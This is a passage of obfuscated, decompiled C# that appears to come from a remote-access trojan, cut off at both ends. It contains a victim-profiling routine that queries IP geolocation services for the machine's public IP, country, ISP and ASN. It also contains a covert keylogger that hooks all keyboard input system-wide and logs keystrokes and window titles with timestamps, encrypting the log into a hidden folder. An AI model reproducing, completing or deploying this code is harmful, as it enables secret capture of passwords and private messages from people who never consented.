			늟੫ల芊䃫㫠ᨩ㩖ᬡ㭥ᰏ螈넅䮸㨍䒬罎爋\uf12c\u2fdd = 糠곻ꔒ骞牃䎯᱾\ue790헤\u0d44\u2dfd呎览⇊ﺉ嗋Д걢䪼埀.뾒拟䣼웉ᄬ\ue6db\uf107\uf2c1鿠\ue990㯖삈䍃請눃峅䝑秀䕓嶍();
			묿\ued17\u09c2屣擧쿍ㆯ祶\u2d7a輋✚\u07f3\uf024⟙⡅\uab2f䄋曶羁㽑 = DateTime.UtcNow;
		}
		return 늟੫ల芊䃫㫠ᨩ㩖ᬡ㭥ᰏ螈넅䮸㨍䒬罎爋\uf12c\u2fdd;
	}
}
public class ┯霅擺�䈴ⱑ↖繛優껧\u02f3粓쿻㒄ꊘퟏ䔩譂溓馄
{
	private readonly string[] \uebc2텾\u124e溠炻祟⑸棋㍾\uebbb迿䘷䠅憎ڵਕ랲ʑ偻陼 = new string[247]
	{
		"ad", "ae", "af", "ag", "ai", "al", "am", "an", "ao", "ar",
		"as", "at", "au", "aw", "ax", "az", "ba", "bb", "bd", "be",
		"bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo", "br", "bs",
		"bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc", "cd", "cf",
		"cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr", "cs",
		"cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do",
		"dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et", "europeanunion",
		"fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga", "gb", "gd",
		"ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq", "gr",
		"gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht",
		"hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it",
		"jm", "jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp",
		"kr", "kw", "ky", "kz", "la", "lb", "lc", "li", "lk", "lr",
		"ls", "lt", "lu", "lv", "ly", "ma", "mc", "md", "me", "mg",
		"mh", "mk", "ml", "mm", "mn", "mo", "mp", "mq", "mr", "ms",
		"mt", "mu", "mv", "mw", "mx", "my", "mz", "na", "nc", "ne",
		"nf", "ng", "ni", "nl", "no", "np", "nr", "nu", "nz", "om",
		"pa", "pe", "pf", "pg", "ph", "pk", "pl", "pm", "pn", "pr",
		"ps", "pt", "pw", "py", "qa", "re", "ro", "rs", "ru", "rw",
		"sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh", "si", "sj",
		"sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy", "sz",
		"tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn",
		"to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us",
		"uy", "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales",
		"wf", "ws", "ye", "yt", "za", "zm", "zw"
	};

	public \u09b3ᓺꅌ쭸ਏᇤ�\u0ee6㼊∅瓺鼒꠴啙ᶂ鿼㝙\u09bb㹥ຬ 뾒拟䣼웉ᄬ\ue6db\uf107\uf2c1鿠\ue990㯖삈䍃請눃峅䝑秀䕓嶍()
	{
		\u09b3ᓺꅌ쭸ਏᇤ�\u0ee6㼊∅瓺鼒꠴啙ᶂ鿼㝙\u09bb㹥ຬ obj = 佦骠貳\uf503\u0613띨穉ꟾ�⳩勵ꔷ\uf057칌㙯ኹ鬠쪔淚\uf056() ?? ݣ\uf7cd贏賺쌎絅昃柆㠎髜芅ꅶ钛뢶叁膁\uf118⼹侫珤();
		if (string.IsNullOrEmpty(obj.IpAddress))
		{
			obj.IpAddress = 룎プᢗ朩₀儯\u05ec逕梳瘐倵픶᭦㜮ࡉ\ue68d쀗ꠐ\ue639뒉();
		}
		obj.IpAddress = (string.IsNullOrEmpty(obj.IpAddress) ? "Unknown" : obj.IpAddress);
		obj.Country = (string.IsNullOrEmpty(obj.Country) ? "Unknown" : obj.Country);
		obj.CountryCode = (string.IsNullOrEmpty(obj.CountryCode) ? "-" : obj.CountryCode);
		obj.Timezone = (string.IsNullOrEmpty(obj.Timezone) ? "Unknown" : obj.Timezone);
		obj.Asn = (string.IsNullOrEmpty(obj.Asn) ? "Unknown" : obj.Asn);
		obj.Isp = (string.IsNullOrEmpty(obj.Isp) ? "Unknown" : obj.Isp);
		obj.ImageIndex = 0;
		for (int i = 0; i < \uebc2텾\u124e溠炻祟⑸棋㍾\uebbb迿䘷䠅憎ڵਕ랲ʑ偻陼.Length; i++)
		{
			if (\uebc2텾\u124e溠炻祟⑸棋㍾\uebbb迿䘷䠅憎ڵਕ랲ʑ偻陼[i] == obj.CountryCode.ToLower())
			{
				obj.ImageIndex = i;
				break;
			}
		}
		if (obj.ImageIndex == 0)
		{
			obj.ImageIndex = 247;
		}
		return obj;
	}

	private \u09b3ᓺꅌ쭸ਏᇤ�\u0ee6㼊∅瓺鼒꠴啙ᶂ鿼㝙\u09bb㹥ຬ 佦骠貳\uf503\u0613띨穉ꟾ�⳩勵ꔷ\uf057칌㙯ኹ鬠쪔淚\uf056()
	{
		try
		{
			HttpWebRequest obj = (HttpWebRequest)WebRequest.Create("https://ipwho.is/");
			obj.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0";
			obj.Proxy = null;
			obj.Timeout = 10000;
			using HttpWebResponse httpWebResponse = (HttpWebResponse)obj.GetResponse();
			using Stream stream = httpWebResponse.GetResponseStream();
			騕띦ห礊\ue682䅀ꉵ吴㳝喺פּ㮙쬫豠紂衇\ue9d2痉椗䧄 obj2 = 䐪琾㤛䂴悼�陜\ueaa8壒遪剳㉰皘\u20cb\u1a7dᔓ퀎ខ\u09e3ٶ.膷�욇觜뙢㵓䶫诒逽烒ᙙ琰㺺\uea35윲藾ਥ㷈糀Ꭓ<騕띦ห礊\ue682䅀ꉵ吴㳝喺פּ㮙쬫豠紂衇\ue9d2痉椗䧄>(stream);
			return new \u09b3ᓺꅌ쭸ਏᇤ�\u0ee6㼊∅瓺鼒꠴啙ᶂ鿼㝙\u09bb㹥ຬ
			{
				IpAddress = obj2.Ip,
				Country = obj2.Country,
				CountryCode = obj2.CountryCode,
				Timezone = obj2.Timezone.UTC,
				Asn = obj2.Connection.ASN.ToString(),
				Isp = obj2.Connection.ISP
			};
		}
		catch
		{
			return null;
		}
	}

	private \u09b3ᓺꅌ쭸ਏᇤ�\u0ee6㼊∅瓺鼒꠴啙ᶂ鿼㝙\u09bb㹥ຬ ݣ\uf7cd贏賺쌎絅昃柆㠎髜芅ꅶ钛뢶叁膁\uf118⼹侫珤()
	{
		try
		{
			\u09b3ᓺꅌ쭸ਏᇤ�\u0ee6㼊∅瓺鼒꠴啙ᶂ鿼㝙\u09bb㹥ຬ obj = new \u09b3ᓺꅌ쭸ਏᇤ�\u0ee6㼊∅瓺鼒꠴啙ᶂ鿼㝙\u09bb㹥ຬ();
			RegionInfo regionInfo = new RegionInfo(CultureInfo.CurrentUICulture.LCID);
			obj.Country = regionInfo.DisplayName;
			obj.CountryCode = regionInfo.TwoLetterISORegionName;
			obj.Timezone = ⟿旧⟧䏥窿�О창嚵聘뺏ቆ௵⻲屢⢓�ꯌ觇볠.寕帼턙颼冀\ue680䒠䟠Ꝏꡣ媓챚口✙\u0ff7鸏⬔\ue391婖뉭();
			return obj;
		}
		catch
		{
			return null;
		}
	}

	private string 룎プᢗ朩₀儯\u05ec逕梳瘐倵픶᭦㜮ࡉ\ue68d쀗ꠐ\ue639뒉()
	{
		string result = "";
		try
		{
			HttpWebRequest obj = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/");
			obj.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0";
			obj.Proxy = null;
			obj.Timeout = 5000;
			using HttpWebResponse httpWebResponse = (HttpWebResponse)obj.GetResponse();
			using Stream stream = httpWebResponse.GetResponseStream();
			using StreamReader streamReader = new StreamReader(stream);
			result = streamReader.ReadToEnd();
		}
		catch
		{
		}
		return result;
	}
}
[DataContract]
public class 騕띦ห礊\ue682䅀ꉵ吴㳝喺פּ㮙쬫豠紂衇\ue9d2痉椗䧄
{
	[CompilerGenerated]
	private string 頾幍◫饞熂Ჰ㢧㲲䫣菸ᘗ㝛᠂�엉畚賈霺뭅昤;

	[CompilerGenerated]
	private string দ宵�៩鉤䅢ॱ\u0097卂冋勝䛬胳\ued23ﾸ鄎噟鐻쳜砐;

	[CompilerGenerated]
	private string �誌᱒펼뼪珤\u0948뜫ῸஶႣ膛곏篾ឤ홃烡႟\ue3e9ࢅ;

	[CompilerGenerated]
	private string 腕릸埒꼂靿挆愇\uf669♕끺ᛷ㚻盦�怩띃餂뀝\u1ab1嚣;

	[CompilerGenerated]
	private 㱠≾䎹톓某썐췙쁮⩴릀\u0eda뎒\u0c62\ue3fb뒅쎱�埝㢥\ue4d5 队纷\u1a8f挓퉁\ue20e鋆ー䋷\ue8bb䠁ꚫ䇆岡陼ꮎ灕惩섲�;

	[CompilerGenerated]
	private 庱뜳譅냀鳛摖嬫쿤⵰侂鬖粂嫬졒ᅫ롎兑믣䎋忊 ໃꐸ체䧮嚹㺍짼\ue824⦁⌮䧼눂色\ue4c3⌬艗껛�┱ዻ;

	[DataMember(Name = "ip")]
	public string Ip
	{
		[CompilerGenerated]
		get
		{
			return 頾幍◫饞熂Ჰ㢧㲲䫣菸ᘗ㝛᠂�엉畚賈霺뭅昤;
		}
		[CompilerGenerated]
		set
		{
			頾幍◫饞熂Ჰ㢧㲲䫣菸ᘗ㝛᠂�엉畚賈霺뭅昤 = value;
		}
	}

	[DataMember(Name = "continent_code")]
	public string ContinentCode
	{
		[CompilerGenerated]
		get
		{
			return দ宵�៩鉤䅢ॱ\u0097卂冋勝䛬胳\ued23ﾸ鄎噟鐻쳜砐;
		}
		[CompilerGenerated]
		set
		{
			দ宵�៩鉤䅢ॱ\u0097卂冋勝䛬胳\ued23ﾸ鄎噟鐻쳜砐 = value;
		}
	}

	[DataMember(Name = "country")]
	public string Country
	{
		[CompilerGenerated]
		get
		{
			return �誌᱒펼뼪珤\u0948뜫ῸஶႣ膛곏篾ឤ홃烡႟\ue3e9ࢅ;
		}
		[CompilerGenerated]
		set
		{
			�誌᱒펼뼪珤\u0948뜫ῸஶႣ膛곏篾ឤ홃烡႟\ue3e9ࢅ = value;
		}
	}

	[DataMember(Name = "country_code")]
	public string CountryCode
	{
		[CompilerGenerated]
		get
		{
			return 腕릸埒꼂靿挆愇\uf669♕끺ᛷ㚻盦�怩띃餂뀝\u1ab1嚣;
		}
		[CompilerGenerated]
		set
		{
			腕릸埒꼂靿挆愇\uf669♕끺ᛷ㚻盦�怩띃餂뀝\u1ab1嚣 = value;
		}
	}

	[DataMember(Name = "timezone")]
	public 㱠≾䎹톓某썐췙쁮⩴릀\u0eda뎒\u0c62\ue3fb뒅쎱�埝㢥\ue4d5 Timezone
	{
		[CompilerGenerated]
		get
		{
			return 队纷\u1a8f挓퉁\ue20e鋆ー䋷\ue8bb䠁ꚫ䇆岡陼ꮎ灕惩섲�;
		}
		[CompilerGenerated]
		set
		{
			队纷\u1a8f挓퉁\ue20e鋆ー䋷\ue8bb䠁ꚫ䇆岡陼ꮎ灕惩섲� = value;
		}
	}

	[DataMember(Name = "connection")]
	public 庱뜳譅냀鳛摖嬫쿤⵰侂鬖粂嫬졒ᅫ롎兑믣䎋忊 Connection
	{
		[CompilerGenerated]
		get
		{
			return ໃꐸ체䧮嚹㺍짼\ue824⦁⌮䧼눂色\ue4c3⌬艗껛�┱ዻ;
		}
		[CompilerGenerated]
		set
		{
			ໃꐸ체䧮嚹㺍짼\ue824⦁⌮䧼눂色\ue4c3⌬艗껛�┱ዻ = value;
		}
	}
}
[DataContract]
public class 㱠≾䎹톓某썐췙쁮⩴릀\u0eda뎒\u0c62\ue3fb뒅쎱�埝㢥\ue4d5
{
	[CompilerGenerated]
	private string \u08e2薹踝㖍\ue05f넎똜䑃\ue6f5칡쭃턧두Ἐ씚嶐雐ᚥ䋉偘;

	[DataMember(Name = "utc")]
	public string UTC
	{
		[CompilerGenerated]
		get
		{
			return \u08e2薹踝㖍\ue05f넎똜䑃\ue6f5칡쭃턧두Ἐ씚嶐雐ᚥ䋉偘;
		}
		[CompilerGenerated]
		set
		{
			\u08e2薹踝㖍\ue05f넎똜䑃\ue6f5칡쭃턧두Ἐ씚嶐雐ᚥ䋉偘 = value;
		}
	}
}
[DataContract]
public class 庱뜳譅냀鳛摖嬫쿤⵰侂鬖粂嫬졒ᅫ롎兑믣䎋忊
{
	[CompilerGenerated]
	private string 呎썎巗䉽�㫦㜠ર◙尼ᓓ치\u0b46甎\uf1a3㕨먉陀\ue0aeﾕ;

	[CompilerGenerated]
	private string ⼙㳟獞㟇䢭鍻\u1b6d妱烹��䇈\uef5f\u2e7fぷ◻ꗐ\ua6fbቮ笶;

	[DataMember(Name = "asn")]
	public string ASN
	{
		[CompilerGenerated]
		get
		{
			return 呎썎巗䉽�㫦㜠ર◙尼ᓓ치\u0b46甎\uf1a3㕨먉陀\ue0aeﾕ;
		}
		[CompilerGenerated]
		set
		{
			呎썎巗䉽�㫦㜠ર◙尼ᓓ치\u0b46甎\uf1a3㕨먉陀\ue0aeﾕ = value;
		}
	}

	[DataMember(Name = "isp")]
	public string ISP
	{
		[CompilerGenerated]
		get
		{
			return ⼙㳟獞㟇䢭鍻\u1b6d妱烹��䇈\uef5f\u2e7fぷ◻ꗐ\ua6fbቮ笶;
		}
		[CompilerGenerated]
		set
		{
			⼙㳟獞㟇䢭鍻\u1b6d妱烹��䇈\uef5f\u2e7fぷ◻ꗐ\ua6fbቮ笶 = value;
		}
	}
}
public class 퐗Ḧㄸ삋碴뒘뻪ᐺ㶋▔ꅂ蚡�灦纨똌틢ㆾ읻ꩣ : IDisposable
{
	private readonly System.Timers.Timer �蟶鮸펤\ue46e奸鵮ꖢ\u139c핤Ꝅ䈚龡\uab0f懻\ue207\ue44b訞\uef83롼;

	private readonly StringBuilder 탻鼄趕픅\uf793賭㑺쥜鶖\ue728\ue6b8\uf8d4邺뀆�蘘玡ﺶ왴\uf4b5 = new StringBuilder();

	private readonly List<Keys> 懴閳燨ӌ\uee20兄퇢㗳㡦낆樺壷譖矑\u1f16ᇮ\u1c30곓\uf6a0玭 = new List<Keys>();

	private readonly List<char> 箦\uf7ceᨹ퀺ꕪ㶞\ued8f蓋⧹൭䕏�ᡶ㶔\u0320蚑먿鬔닅芯 = new List<char>();

	private string ꑼ땄\uea49⤾䟊\ue1b5鼉緬獅ῃ�ᨲᔺ㩜Ꚉが䪮謟㘑蔕 = string.Empty;

	private bool Ꭸ\ue646\u3099߁\uf1b1嬞耈\ue8d2뾵笳ꢊ闉쀵Ⅽǩ娼ퟫᡍ哽ឨ;

	private readonly IKeyboardMouseEvents 热蠗븫\uf5b6杻ῧⳕ탍뢈匿熙뛇낇ᡈ於ἶꪧ\uefcf퓜椃;

	private readonly Aes256 瘽슡Ƕ긿햚�찕却㔝鸦윱曥ꆮ豅ᙢḩכ놘袱췚 = new Aes256(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.ࢀ됸鯴춬ô땥\ueebb衞ⱪ暍銋⋄뺱尭措\ue94d䁝९瘬愃);

	private readonly long ⸶ﰎ\uefc4蔵鵏૧圌\ue676哷齓\ue28c䒪냗\ue040ҝ묈ᖔ\uf001Ⳋ炙;

	[CompilerGenerated]
	private bool ṭ메놀졻䶂뒣홰︕瓁\u1a1b\u1a67ɋ\uf10a췐䣇폄ℚ릛穤艼;

	public bool IsDisposed
	{
		[CompilerGenerated]
		get
		{
			return ṭ메놀졻䶂뒣홰︕瓁\u1a1b\u1a67ɋ\uf10a췐䣇폄ℚ릛穤艼;
		}
		[CompilerGenerated]
		private set
		{
			ṭ메놀졻䶂뒣홰︕瓁\u1a1b\u1a67ɋ\uf10a췐䣇폄ℚ릛穤艼 = value;
		}
	}

	public 퐗Ḧㄸ삋碴뒘뻪ᐺ㶋▔ꅂ蚡�灦纨똌틢ㆾ읻ꩣ(double flushInterval, long maxLogFileSize)
	{
		//IL_0032: Unknown result type (might be due to invalid IL or missing references)
		//IL_003c: Expected O, but got Unknown
		⸶ﰎ\uefc4蔵鵏૧圌\ue676哷齓\ue28c䒪냗\ue040ҝ묈ᖔ\uf001Ⳋ炙 = maxLogFileSize;
		热蠗븫\uf5b6杻ῧⳕ탍뢈匿熙뛇낇ᡈ於ἶꪧ\uefcf퓜椃 = Hook.GlobalEvents();
		�蟶鮸펤\ue46e奸鵮ꖢ\u139c핤Ꝅ䈚龡\uab0f懻\ue207\ue44b訞\uef83롼 = new System.Timers.Timer
		{
			Interval = flushInterval
		};
		�蟶鮸펤\ue46e奸鵮ꖢ\u139c핤Ꝅ䈚龡\uab0f懻\ue207\ue44b訞\uef83롼.Elapsed += 툘欍\ue606ኗ䕇䷅\ue00b\uebcd跷瑊\u08e5⇔ꏶ謺緻긖丣긱瓢㋤;
	}

	public void 彭悕も聕ꨘ�走莯㝐ᨁ껇\uef9d㲔Ƭ㜬鿪息\uf2c7\uef4fꆮ()
	{
		피孥髤晇窵Ⳙ쬍Ⅵ玖徯噲ᶐὖЋ\uf513ፐ鈉꒡㊾ṯ();
		�蟶鮸펤\ue46e奸鵮ꖢ\u139c핤Ꝅ䈚龡\uab0f懻\ue207\ue44b訞\uef83롼.Start();
	}

	public void Dispose()
	{
		Dispose(disposing: true);
		GC.SuppressFinalize(this);
	}

	protected virtual void Dispose(bool disposing)
	{
		if (!IsDisposed)
		{
			if (disposing)
			{
				畹㠇媿㺍ᜫ蟬ﰧ\u2d98ᵅ\ue292\uf19a\uf5f0𤋮䧠诡⁒잢�疰잽();
				�蟶鮸펤\ue46e奸鵮ꖢ\u139c핤Ꝅ䈚龡\uab0f懻\ue207\ue44b訞\uef83롼.Stop();
				�蟶鮸펤\ue46e奸鵮ꖢ\u139c핤Ꝅ䈚龡\uab0f懻\ue207\ue44b訞\uef83롼.Dispose();
				((IDisposable)热蠗븫\uf5b6杻ῧⳕ탍뢈匿熙뛇낇ᡈ於ἶꪧ\uefcf퓜椃).Dispose();
				⼆曭让ꏺ쳻ꪦ⩿蟖왰ퟞ캎峋䊍珯괇�\ueaf0溨奥ቼ();
			}
			IsDisposed = true;
		}
	}

	private void 피孥髤晇窵Ⳙ쬍Ⅵ玖徯噲ᶐὖЋ\uf513ፐ鈉꒡㊾ṯ()
	{
		//IL_000d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0017: Expected O, but got Unknown
		//IL_0024: Unknown result type (might be due to invalid IL or missing references)
		//IL_002e: Expected O, but got Unknown
		//IL_003b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0045: Expected O, but got Unknown
		((IKeyboardEvents)热蠗븫\uf5b6杻ῧⳕ탍뢈匿熙뛇낇ᡈ於ἶꪧ\uefcf퓜椃).KeyDown += new KeyEventHandler(牫斛\uf8da쿲鞣烙퐛ᮽᵚ삥幛\u1cd6®拷润睨멙睽菢\u0ba2);
		((IKeyboardEvents)热蠗븫\uf5b6杻ῧⳕ탍뢈匿熙뛇낇ᡈ於ἶꪧ\uefcf퓜椃).KeyUp += new KeyEventHandler(ꠒ푮쒦咩劻㡳㋏琅畹\u0eff䑞형듊턟늈阖椠鬎繾䚼);
		((IKeyboardEvents)热蠗븫\uf5b6杻ῧⳕ탍뢈匿熙뛇낇ᡈ於ἶꪧ\uefcf퓜椃).KeyPress += new KeyPressEventHandler(監㚟켢귱婫◊暳ᢼ並\uebf5薼䲟थ郋봆\u0816�蝨棱耱);
	}

	private void 畹㠇媿㺍ᜫ蟬ﰧ\u2d98ᵅ\ue292\uf19a\uf5f0𤋮䧠诡⁒잢�疰잽()
	{
		//IL_000d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0017: Expected O, but got Unknown
		//IL_0024: Unknown result type (might be due to invalid IL or missing references)
		//IL_002e: Expected O, but got Unknown
		//IL_003b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0045: Expected O, but got Unknown
		((IKeyboardEvents)热蠗븫\uf5b6杻ῧⳕ탍뢈匿熙뛇낇ᡈ於ἶꪧ\uefcf퓜椃).KeyDown -= new KeyEventHandler(牫斛\uf8da쿲鞣烙퐛ᮽᵚ삥幛\u1cd6®拷润睨멙睽菢\u0ba2);
		((IKeyboardEvents)热蠗븫\uf5b6杻ῧⳕ탍뢈匿熙뛇낇ᡈ於ἶꪧ\uefcf퓜椃).KeyUp -= new KeyEventHandler(ꠒ푮쒦咩劻㡳㋏琅畹\u0eff䑞형듊턟늈阖椠鬎繾䚼);
		((IKeyboardEvents)热蠗븫\uf5b6杻ῧⳕ탍뢈匿熙뛇낇ᡈ於ἶꪧ\uefcf퓜椃).KeyPress -= new KeyPressEventHandler(監㚟켢귱婫◊暳ᢼ並\uebf5薼䲟थ郋봆\u0816�蝨棱耱);
	}

	private void 牫斛\uf8da쿲鞣烙퐛ᮽᵚ삥幛\u1cd6®拷润睨멙睽菢\u0ba2(object sender, KeyEventArgs e)
	{
		//IL_00a8: Unknown result type (might be due to invalid IL or missing references)
		//IL_0089: Unknown result type (might be due to invalid IL or missing references)
		//IL_00bb: Unknown result type (might be due to invalid IL or missing references)
		//IL_009c: Unknown result type (might be due to invalid IL or missing references)
		//IL_00cf: Unknown result type (might be due to invalid IL or missing references)
		string text = 뤪짒\u1dd4쏅猌\ue445뻪坐휈縖啼\u064fቓ쪌㛌Ց伋蹁楼ᶆ.熹\uf2d9ᢙ甪넫번芯\ueb19岫㺹땨炦땍懶뀫鏶퍵◛뻝掉();
		if (!string.IsNullOrEmpty(text) && text != ꑼ땄\uea49⤾䟊\ue1b5鼉緬獅ῃ�ᨲᔺ㩜Ꚉが䪮謟㘑蔕)
		{
			ꑼ땄\uea49⤾䟊\ue1b5鼉緬獅ῃ�ᨲᔺ㩜Ꚉが䪮謟㘑蔕 = text;
			탻鼄趕픅\uf793賭㑺쥜鶖\ue728\ue6b8\uf8d4邺뀆�蘘玡ﺶ왴\uf4b5.Append("<p class=\"h\"><br><br>[<b>" + HttpUtility.HtmlEncode(text) + " - " + DateTime.UtcNow.ToString("t", DateTimeFormatInfo.InvariantInfo) + " UTC</b>]</p><br>");
		}
		if (懴閳燨ӌ\uee20兄퇢㗳㡦낆樺壷譖矑\u1f16ᇮ\u1c30곓\uf6a0玭.ContainsModifierKeys() && !懴閳燨ӌ\uee20兄퇢㗳㡦낆樺壷譖矑\u1f16ᇮ\u1c30곓\uf6a0玭.Contains(e.KeyCode))
		{
			懴閳燨ӌ\uee20兄퇢㗳㡦낆樺壷譖矑\u1f16ᇮ\u1c30곓\uf6a0玭.Add(e.KeyCode);
		}
		else if (!e.KeyCode.IsExcludedKey() && !懴閳燨ӌ\uee20兄퇢㗳㡦낆樺壷譖矑\u1f16ᇮ\u1c30곓\uf6a0玭.Contains(e.KeyCode))
		{
			懴閳燨ӌ\uee20兄퇢㗳㡦낆樺壷譖矑\u1f16ᇮ\u1c30곓\uf6a0玭.Add(e.KeyCode);
		}
	}

	private void 監㚟켢귱婫◊暳ᢼ並\uebf5薼䲟थ郋봆\u0816�蝨棱耱(object sender, KeyPressEventArgs e)
	{
		if ((懴閳燨ӌ\uee20兄퇢㗳㡦낆樺壷譖矑\u1f16ᇮ\u1c30곓\uf6a0玭.ContainsModifierKeys() && 懴閳燨ӌ\uee20兄퇢㗳㡦낆樺壷譖矑\u1f16ᇮ\u1c30곓\uf6a0玭.ContainsKeyChar(e.KeyChar)) || (箦\uf7ceᨹ퀺ꕪ㶞\ued8f蓋⧹൭䕏�ᡶ㶔\u0320蚑먿鬔닅芯.Contains(e.KeyChar) && \uf6de涫�鄋⋳㿷\uf803\ue5c4غヘﴍ大앂⦥艧乔\u008a\uee72��(箦\uf7ceᨹ퀺ꕪ㶞\ued8f蓋⧹൭䕏�ᡶ㶔\u0320蚑먿鬔닅芯, e.KeyChar)) || 懴閳燨ӌ\uee20兄퇢㗳㡦낆樺壷譖矑\u1f16ᇮ\u1c30곓\uf6a0玭.ContainsKeyChar(e.KeyChar))
		{
			return;
		}
		string value = HttpUtility.HtmlEncode(e.KeyChar.ToString());
		if (!string.IsNullOrEmpty(value))
		{
			if (懴閳燨ӌ\uee20兄퇢㗳㡦낆樺壷譖矑\u1f16ᇮ\u1c30곓\uf6a0玭.ContainsModifierKeys())
			{
				Ꭸ\ue646\u3099߁\uf1b1嬞耈\ue8d2뾵笳ꢊ闉쀵Ⅽǩ娼ퟫᡍ哽ឨ = true;
			}
			箦\uf7ceᨹ퀺ꕪ㶞\ued8f蓋⧹൭䕏�ᡶ㶔\u0320蚑먿鬔닅芯.Add(e.KeyChar);
			탻鼄趕픅\uf793賭㑺쥜鶖\ue728\ue6b8\uf8d4邺뀆�蘘玡ﺶ왴\uf4b5.Append(value);
		}
	}

	private void ꠒ푮쒦咩劻㡳㋏琅畹\u0eff䑞형듊턟늈阖椠鬎繾䚼(object sender, KeyEventArgs e)
	{
		탻鼄趕픅\uf793賭㑺쥜鶖\ue728\ue6b8\uf8d4邺뀆�蘘玡ﺶ왴\uf4b5.Append(蕈欭�⼮⏲䏠짜푡\u0a57≘㭸醦鎾냅걫\uf276槂恆\uf7ec뎯(懴閳燨ӌ\uee20兄퇢㗳㡦낆樺壷譖矑\u1f16ᇮ\u1c30곓\uf6a0玭.ToArray()));
		箦\uf7ceᨹ퀺ꕪ㶞\ued8f蓋⧹൭䕏�ᡶ㶔\u0320蚑먿鬔닅芯.Clear();
	}

	private bool \uf6de涫�鄋⋳㿷\uf803\ue5c4غヘﴍ大앂⦥艧乔\u008a\uee72��(List<char> list, char search)
	{
		return list.FindAll((char s) => s.Equals(search)).Count > 1;
	}

	private string 蕈欭�⼮⏲䏠짜푡\u0a57≘㭸醦鎾냅걫\uf276槂恆\uf7ec뎯(Keys[] keys)
	{
		if (keys.Length < 1)
		{
			return string.Empty;
		}
		string[] array = new string[keys.Length];
		for (int i = 0; i < keys.Length; i++)
		{
			if (!Ꭸ\ue646\u3099߁\uf1b1嬞耈\ue8d2뾵笳ꢊ闉쀵Ⅽǩ娼ퟫᡍ哽ឨ)
			{
				array[i] = keys[i].GetDisplayName();
				continue;
			}
			array[i] = string.Empty;
			懴閳燨ӌ\uee20兄퇢㗳㡦낆樺壷譖矑\u1f16ᇮ\u1c30곓\uf6a0玭.Remove(keys[i]);
		}
		Ꭸ\ue646\u3099߁\uf1b1嬞耈\ue8d2뾵笳ꢊ闉쀵Ⅽǩ娼ퟫᡍ哽ឨ = false;
		if (懴閳燨ӌ\uee20兄퇢㗳㡦낆樺壷譖矑\u1f16ᇮ\u1c30곓\uf6a0玭.ContainsModifierKeys())
		{
			StringBuilder stringBuilder = new StringBuilder();
			int num = 0;
			for (int j = 0; j < array.Length; j++)
			{
				懴閳燨ӌ\uee20兄퇢㗳㡦낆樺壷譖矑\u1f16ᇮ\u1c30곓\uf6a0玭.Remove(keys[j]);
				if (!string.IsNullOrEmpty(array[j]))
				{
					stringBuilder.AppendFormat((num == 0) ? "<p class=\"h\">[{0}" : " + {0}", array[j]);
					num++;
				}
			}
			if (num > 0)
			{
				stringBuilder.Append("]</p>");
			}
			return stringBuilder.ToString();
		}
		StringBuilder stringBuilder2 = new StringBuilder();
		for (int k = 0; k < array.Length; k++)
		{
			懴閳燨ӌ\uee20兄퇢㗳㡦낆樺壷譖矑\u1f16ᇮ\u1c30곓\uf6a0玭.Remove(keys[k]);
			if (string.IsNullOrEmpty(array[k]))
			{
				continue;
			}
			string text = array[k];
			if (!(text == "Return"))
			{
				if (text == "Escape")
				{
					stringBuilder2.Append("<p class=\"h\">[Esc]</p>");
				}
				else
				{
					stringBuilder2.Append("<p class=\"h\">[" + array[k] + "]</p>");
				}
			}
			else
			{
				stringBuilder2.Append("<p class=\"h\">[Enter]</p><br>");
			}
		}
		return stringBuilder2.ToString();
	}

	private void 툘欍\ue606ኗ䕇䷅\ue00b\uebcd跷瑊\u08e5⇔ꏶ謺緻긖丣긱瓢㋤(object sender, ElapsedEventArgs e)
	{
		if (탻鼄趕픅\uf793賭㑺쥜鶖\ue728\ue6b8\uf8d4邺뀆�蘘玡ﺶ왴\uf4b5.Length > 0)
		{
			⼆曭让ꏺ쳻ꪦ⩿蟖왰ퟞ캎峋䊍珯괇�\ueaf0溨奥ቼ();
		}
	}

	private void ⼆曭让ꏺ쳻ꪦ⩿蟖왰ퟞ캎峋䊍珯괇�\ueaf0溨奥ቼ()
	{
		bool flag = false;
		string text = Path.Combine(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.ޏ㗈\u0a4dꕷ賬↘갠ሩ\u2452ㄹ鴼쉆\uf4e9豨辦钏\u0d49\uf464\u0cbe\u2dc7, DateTime.UtcNow.ToString("yyyy-MM-dd"));
		try
		{
			DirectoryInfo directoryInfo = new DirectoryInfo(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.ޏ㗈\u0a4dꕷ賬↘갠ሩ\u2452ㄹ鴼쉆\uf4e9豨辦钏\u0d49\uf464\u0cbe\u2dc7);
			if (!directoryInfo.Exists)
			{
				directoryInfo.Create();
			}
			if (泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.璆\u07b2濴蟕㹁Ḍꡀᳺ笊㟢㑭笔违\uf8ac\uf107嵈쨐읯⻡킙)
			{
				directoryInfo.Attributes = FileAttributes.Hidden | FileAttributes.Directory;
